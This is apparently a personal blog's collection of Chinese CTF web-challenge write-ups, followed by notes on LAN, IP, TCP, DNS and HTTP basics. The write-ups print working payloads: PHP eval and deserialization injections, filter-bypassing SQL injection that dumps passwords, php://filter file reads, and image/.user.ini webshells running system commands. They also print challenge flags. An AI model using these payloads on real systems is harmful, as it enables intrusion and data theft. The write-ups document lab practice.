Bugku冬至红包

冬至红包

1.题目:
2.过程:

image-20210216164800375

exam拼接了一个语句,本地执行可知exam长度恒为49

SHA-1(英语:Secure Hash Algorithm 1,中文名:安全散列算法1)是一种密码散列函数美国国家安全局设计,并由美国国家标准技术研究所(NIST)发布为联邦数据处理标准(FIPS)。SHA-1可以生成一个被称为消息摘要的160(20字节)散列值,散列值通常的呈现形式为40个十六进制数。

关键在于执行flag语句且使输出与sha1处理后值相同,类似MD5,sha1不能处理数组,但flag是提前定义好的……

还是要利用eval函数,输出flag。因为长度限制很大,所以可以拼接。

?flag=$a=alag;$a{0}=f;111111111111111111111;?><?=$$a;?>

?>闭合上一个eval <?=?>标签相当于使用echo:

image-20210216171902316

  

极客大挑战-2019-PHP

[极客大挑战 2019]PHP

1.题目:
2.过程:

提醒有网页的备份,试出来是www.zip:

image-20210216105353275

image-20210216105725058

应该与序列化有关

image-20210216112156874

大概是覆盖username和password,绕过wakeup后通过destruct得到flag,但是一直没有成功……

public、protected与private在序列化时的区别:

protected 声明的字段为保护字段,在所声明的类和该类的子类中可见,但在该类的对象实例中不可见。
因此保护字段的字段名在序列化时,字段名前面会加上 \0*\0 的前缀,注意,这里的 \0 表示 ASCII 码为 0
的字符,也就是我们经过 urlencode 后看到的 %00 。
private声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。 因此私有字段的字段名在序列化时,字段名前面会加上\0\0 的前缀, 这里 表示的是声明该私有字段的类的类名,而不是被序列化的对象的类名。因为声明该私有字段的类不一定是被序列化的对象的类,而有可能是它的祖先类。
var 和 public声明的字段都是公共字段,因此它们的字段名的序列化格式是相同的。公共字段的字段名按照声明时的字段名进行序列化,但序列化后的字段名中不包括声明时的 变量前缀符号 $。

protected和private属性的变量会有一些不可见的字符

​ private属性序列化的时候格式是%00类名%00成员名

​ protecte属性序列化的时候格式是%00*%00成员

​ PHP7.1以上的反序列化不会判断里面参数的属性类型了,所以可以改成public再进行反序列化,绕过private、protected序列化后产生不可见字符。

这道题还是需要那些不可见字符的,用url编码防止字符丢失。

image-20210216114906603

select=O%3A4%3A”Name”%3A3%3A%7Bs%3A14%3A”%00Name%00username”%3Bs%3A5%3A”admin”%3Bs%3A14%3A”%00Name%00password”%3Bs%3A3%3A”100”%3B%7D

image-20210216114818035

得到flag。

  

ACTF2020-新生赛-BackupFile

[ACTF2020 新生赛]BackupFile

1.题目:
2.过程:

页面提示网页有备份文件,备份文件会导致源码的泄露。

这道题的备份是 index.php.bak

dalao总结:

CTFHub-web(备份文件下载)

ctf/web源码泄露及利用办法【总结中】

下载源码后是一段代码:

image-20210216104408183

这里有一个intval函数:返回对象的整数值

image-20210216104509970

image-20210216104526719

确实有一些特性……但下面的比较是弱比较,字符串被转化为整型,令key=123即可。

  

ACTF2020-新生赛-Upload

[ACTF2020 新生赛]Upload

1.题目:
2.过程:

文件上传题目,试试老套路:

image-20210215203548968

burpsuit并没有抓到包……应该是前端就做了过滤

image-20210215203758776

发现js里做了过滤,那就修改js再上传:

image-20210215204039420

上传成功,连接网站:

image-20210215204147812

绕过js之后bp再修改应该也行……

  

极客大挑战-2019-BabySQL

[极客大挑战 2019]BabySQL

1.题目:
2.过程:

sql注入,含有一些过滤,测试一下:

image-20210215125923816

or被换掉了,应该可以双写绕过。#应该也被过滤了,本来想试试双写%23,但是%23好像就可以

?username=1&password=1’ oorr 1=1%23

image-20210215130642352

image-20210215130756896

?username=1&password=1’ ununionion selselectect 1,(selselectect group_concat(table_name) frofromm infoorrmation_schema.tables whwhereere table_schema=database()),3%23

image-20210215131300655

?username=1&password=1’ ununionion selselectect 1,(selselectect group_concat(column_name) frofromm infoorrmation_schema.columns whwhereere table_name=’b4bsql’),3%23

image-20210215131552872

这个or的替换真是处处可见……

?username=1&password=1’ ununionion selselectect 1,(selselectect group_concat(passwoorrd) frofromm b4bsql),3%23

image-20210215131936656

flag{539ec27d-80a6-4381-a837-805f1b9b406e}

得到flag……

  

ZJCTF-2019-NiZhuanSiWei

[ZJCTF 2019]NiZhuanSiWei

1.题目:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
2.过程:

先是考察伪协议:

file_get_contents可以用data伪协议写入数据:text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY= //使text值为”welcome to the zjctf”

file提示useless.php,用php://filter读取:

php://filter/read=convert.base64-encode/resource=useless.php

image-20210228195834842

关于__tostring:

打印一个对象时,如果定义了__toString()方法,就能在测试时,通过echo打印对象体,对象就会自动调用它所属类定义的toString方法,格式化输出这个对象所包含的数据。如果没有这个方法,那么echo一个对象时,就会报错Object of class Account could not be converted to string,实际上这是一个类型匹配失败的错误。

echo $password 就是使其调用反序列化后的__tostring方法。

那再读取flag.php就行了。结果半天没有反应……

仔细读源码发现一丝异常:脚本并没有调用useless.php……一般会requireonce或include

include($file)是可控的,使file为useless.php:

1
password=O:4:"Flag":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}

image-20210228200415380

解码得:

1
2
3
4
5
6
7
8
9
10
11
<br>oh u find it </br>

<!--but i cant give it to u now-->

<?php

if(2===3){
return ("flag{6d50eb08-b4b8-410c-a0b0-afa2c0e6c828}");
}

?>
  

网鼎杯-2018-Fakebook

[网鼎杯 2018]Fakebook

1.题目:序列化、sql注入
2.过程:

进去是一个界面,可以注册用户,先注册一个……

image-20210212122940706

扫描网站后台只扫到一个login.php,但是发现可以查看用户,提交了no参数进行查询,测试一下发现是sql注入

现在遇见一个就觉得是盲注……结合之前写的脚本构造语句查了一些东西

image-20210212123923079

1
2
?no=1 and 1=if()
//在if中用二分法逐位判断

database():fakebook

fakebook:users、test

users:no、username、passwd、data、USER、CURRENT_CONNECTIONS……

没什么特别鲜明的东西……查了这几个列发现就只有我注册的用户,没有admin啥的……data里面是序列化的数据,也许是突破口,但到这我就不会了……要去学一学

image-20210212145816530

序列化和反序列化的概念

序列化就是将对象转换成字符串。字符串包括 属性名 属性值 属性类型和该对象对应的类名。
反序列化则相反将字符串重新恢复成对象。
对象的序列化利于对象的保存和传输,也可以让多个文件共享对象。

序列化中的魔法函数:

__construct() 创建对象时调用

__destruct() 销毁对象时调用

__toString() 当一个对象被当作一个字符串使用

__sleep() 在对象在被序列化之前运行

__wakeup 将在序列化之后立即被调用

攻防世界unserialize3中:

image-20210212134649258

应该对code进行了反序列化处理,然后程序是怎么处理的……可以看看这个文章:

深度剖析PHP序列化和反序列化 em,反序列化时对应的变量被赋值,如果有则会先执行wakeup()方法。

如果进入xctf的话会先进入wakeup,然后退出,所以这里需要绕过:使属性个数大于实际个数。

再回来这道题:好像没啥思路了……

writeup里说有robots.txt,为什么我扫不出来嘞……

image-20210212145839928

getcontents应该可以读本地的文件:

image-20210212145852832

相应的对blog的地址设置了过滤:

image-20210212150212331

报错显示了文件的路径:

image-20210212150413263

?no=0/**/union/**/select 1,2,3,4可以正常回显……这不是绕过空格过滤的吗……我只想到了盲注

这样就可以绕过过滤了。

image-20210212151853109

构造:

?no=0/**/union/**/select 1,2,3,’O:8:”UserInfo”:3:{s:4:”name”;s:1:”1”;s:3:”age”;s:1:”1”;s:4:”blog”;s:29:”file:///var/www/html/flag.php”;}’

image-20210212152411763

应该是flag了:

image-20210212152503535

案例:

CTF PHP反序列化漏洞

五个demo案例带你学习PHP反序列化漏洞

高级SQL注入:混淆和绕过(mark)

🆗

  

BJDCTF2020-Easy-MD5

[BJDCTF2020]Easy MD5

1.题目:MD5绕过
2.过程

LazyDogR4U和Post to zuckonit的MD5是没怎么接触过的……就挑一道MD5的题写叭……

结果一上来就是:

image-20210210160914735

pass应该是可以控制的变量……构造MD5后的变量

*md5(\string,raw*)**:

image-20210210161233308

但我折腾半天,网上写的都是什么mysql解释16进制、ASCII编码成字符串、hex之类的……看得不是很懂

image-20210210174311851

反正直接就出了,所以应该讨论的是:MD5的32位密文与16位密文的转换。

md5的输出只有128bit一种
32个byte,或者32个ascii可显示字符形du式的是zhi其hex码的显示形式
16个byte是其直dao接输出形式。
16*8=128bit
这里只要把每4bit用一个char表示,就成了32个byte的可打印显示形式

这里的理解为写脚本(抄脚本)产生了一定的阻碍……

image-20210210175411054

找了几个脚本碰撞,结果碰了一上午也没碰出来……

自己想写一个长度增长的枚举,结果代码水平太差了……一般网上的脚本也是指定长度……唉,我还是用答案叭

争取以后自己写一个顺手的截断的枚举(php会不会更好使……),这玩意用到的时候没有就挺恶心的………

后面两个就直接用数组绕过就行了……

image-20210210180610545

  

SUCTF-2019-CheckIn

[SUCTF 2019]CheckIn

1.题目:文件上传利用.user.ini
2.过程:

em,这道题把前面的知识点基本上都概括了……但是文件后缀的检查一直无法绕过,学习了一波……

关于.user.ini文件的知识:

img

dalao的文章解释的很清楚

更加细化的说明

如果要用到.user.ini,特征之一就是在上传到.user.ini的文件夹下,也要有可执行的正常php文件。

image-20210209132326985

这道题的文件结构恰好是这样的(太恰好了……)

所以常规绕过上传一个jpg结尾的图片一句话木马,在上传.user.ini对图片包含在php文件中解析

1
2
GIF89a
<script language='php'>system('cat /flag');
1
2
3
GIF89a

auto_append_file=a.jpg

image-20210209132911616

访问时就自动执行查出flag

唉,用菜刀一直连不上去……

  

计算机网络

计算机网络

1.球鞋网络(Sneakernet)

​ 可用于任何使用物理媒体在计算机之间传输数据的情况,而不是使用电子网络。早期通过纸卡或磁带传递计算机信息。现在用于大型资料的传输,如超大型的望远镜数据信息。

Never underestimate the bandwidth of a station wagon full of tapes hurtling down the highway.
Tanenbaum, Andrew S. (1989).

永远不要低估一台正在高速公路上飞驰又满载磁带的卡车的带宽

2.局域网

​ 计算机近距离构成的小型网络称为局域网,LAN。

—以太网(Ethernet):

1.最简单形式:一条以太网电线连接数台计算机,数据以电信号的形式进行传递。以太网需要每台计算机有唯一的媒体访问控制地址,简称MAC地址。此地址放在头部,作为数据的前缀发送到网络中。如此,计算机只需要监听以太网电缆,只有识别出MAC地址,才会处理数据。

2.多台电脑共享一个传输媒介,这种方法叫“载波侦听多路访问”,简称“CSMA”。多态电脑进行监听载体,数据传输的速度称为“带宽”。

3.当位于同一网络的两台以上的计算机想要同时传输信息时会产生冲突,此时计算机检测到冲突并停止一定时间来避免冲突。一种方案是停止1s+随机时间,另一种是停止1s、2s、4s、8s……,这被称为“指数退避”。

4.冲突域:为了减少冲突提高效率,需要减少同一载体中设备的数量。载体和其中的设备总称为“冲突域”。

5.交换机(switch):使用交换机将一个冲突域拆分为两个冲突域,减少冲突域的范围。

image-20210206143850712

image-20210206144159422

image-20210206144527243

交换机位于两个更小的网络之间,必要时才会在两个网络间传输数据。交换机会记录一个列表,列表上写着哪个MAC地址在哪边网络。这样,a—>c 和 d—>f的传输可以同时发生。但是,若f—>a,则数据会通过交换机且两个网络都会被占用。

6.路由(routing):大型网络中,从一个节点到另一个节点通常有许多路线。如果两个计算机或网路相隔遥远,那么传输会通过更多的关口也就是冲突域,导致冲突机会增加,产生高延迟。因此,最简单的方法是分配一条专用的通信线路,就像早期的电话。将线路转接到正确线路的方式为“电路交换”

7.“报文交换”:报文交换是以报文为数据交换的单位,报文携带有目标地址、源地址等信息,在交换结点采用存储转发的传输方式。报文交换可以使用不同的路由(routes),使通信跟具有容错性(不会因为某条线路受损而导致无法通信)。跳数:信息沿着路由跳转的次数叫“跳数”(记录跳数可以分辨出路由问题)。“跳数限制”:如果看到某条信息的跳数很高,就知道路由肯定出问题了。报文交换的缺点:报文比较大时会堵塞网络,英文只有把整个报文从一战转到下一站后,才能继续传递其他报文。解决方法是将大报文分成许多小块,称为:“数据包”。每个数据包都有目标地址,这样路由器知道应该发到哪里。报文的具体格式有“互联网协议”定义,简称IP,互联网协议标准创建于1970年代。

8.IP-互联网协议

数据包想在互联网上传输,需要符合“互联网协议”的标准。数据包头部储存的关于数据的数据也叫“元数据”。如果只包含地址,数据到达之后,计算机不知道把数据包给哪个程序使用。因此需要在IP之上开发更高级的协议。其中,最简单、最常见的叫“用户数据报协议”,简称为“UDP”。UDP包含不同的端口号,当一个数据包到达后,接收方会读取UDP头部中的端口号,并将数据交给拥有对应端口号的程序。

image-20210206154734927

IP:负责把数据包送到正确的计算机;

UDP:负责把数据包交给正确的程序。

UDP中还有一个“CHECKSUM”(校验和),电脑会把所有数据加在一起算出“校验和”,UDP中,校验和以16位二进制储存。若超出,则舍去高位,保留低位。当接收者接受到数据包后,会重复这个步骤。若和头部校验和一致,代表一切正常。反之,代表数据出现了问题。

image-20210206155501494

传输时的功率波动或线路故障都会导致数据的损失。UDP不提供数据修复或数据重发的机制,且发送方无法通过UDP得知数据包是否到达目的地。如果要求所有数据必须到达,就要用传输控制协议-TCP

9.TCP

​ TCP头部也有“端口号”和”校验和”及一些特性:

  1. TCP数据包有序号:接收方可以根据序号把数据包排列成正确的顺序,即使到达的时间不同。
  2. TCP要求接收方的电脑收到数据包,并且校验无误后,给发送方发一个确认码,简称“ACK”,代表收到了。
  3. TCP会根据ACK发送的速度确认网络的拥挤状况,根据网络状况自动调整传输率。
  4. UDP和TCP的应用场景不同:王者荣耀如何使用UDP做到低延迟(我就一搜还真有……不过是个噱头……

10.DNS-域名系统

​ 浏览器访问DNS服务器,询问地址的IP地址为多少。得到IP后服务器会给在这个地址发TCP请求。顶级域名(TLD)在域名的最顶部,如:.com和.gov。

image-20210206181052596

然后是二级域名

image-20210206181219707

再下一层是子域名

image-20210206181257066

3.万维网

1.各种超链接组成的巨大互联网络被称为万维网。为了能使网页相互连接,每个网页需要一个唯一的地址,这个地址被称为“统一资源定位器-URL”。当访问地址下服务器的指定资源时,会用到“超文本传输协议-HTTP”。如:我们想要访问“courses”,就会向服务器发送指令“GET /courses”。该指令以“ASCII编码”发送到服务器。服务器返回对应的网页资源,浏览器渲染后在屏幕上显示。HTTP中网页回应的报文中的状态码代表了访问结果:

状态码200:找到网页成功返回

400~499:客户端出错

“超文本”的储存和发送都基于普通文本的形式,纯文本无法标记出链接。为此,出现了HTML,超文本标记语言。

4.网络中立性

简单来说,网络中立性是指应该平等对待所有的数据包。数据包的速度与优先级应该使一样的。

  

:D 一言句子获取中...